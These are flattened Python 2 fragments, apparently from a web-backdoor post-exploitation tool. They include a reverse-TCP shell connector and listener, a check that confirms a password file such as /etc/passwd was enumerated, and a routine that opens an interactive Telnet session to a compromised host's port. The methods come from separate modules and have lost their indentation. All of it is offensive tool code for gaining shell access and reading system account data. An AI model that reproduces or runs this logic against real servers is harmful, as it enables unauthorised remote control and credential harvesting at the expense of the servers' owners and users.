def connect_socket(self):
if (self.connect):
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((self.hostname, self.port))
else:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
except socket.error:
#print("Warning: unable to set TCP_NODELAY...")
pass
try:
server.bind(('localhost', self.port))
except socket.error, e:
raise ProbeException('backdoor.reversetcp',
'%s %s' % (WARN_BINDING_SOCKET, str(e)))
server.listen(1)
server.settimeout(3)
try:
self.socket, address = server.accept()
except socket.timeout, e:
server.close()
raise ExecutionException('backdoor.reversetcp', 'timeout')
def __verify_vector_execution(self):
pwdfile = ''
if self._result:
response_splitted = self._result.split('\n')
if response_splitted and response_splitted[0].count(':') >= 6:
raise ProbeSucceed(self.name, 'Password file enumerated')
else:
raise ExecutionException(self.name, 'Enumeration execution failed')
def _verify_vector_execution(self):
if not self.args['no_connect']:
urlparsed = urlparse(self.modhandler.url)
if urlparsed.hostname:
try:
Telnet(urlparsed.hostname, self.args['port']).interact()
except error, e:
self._result += '%s: %s\n' % (self.current_vector.name,
str(e))
raise ExecutionException(self.name, str(e))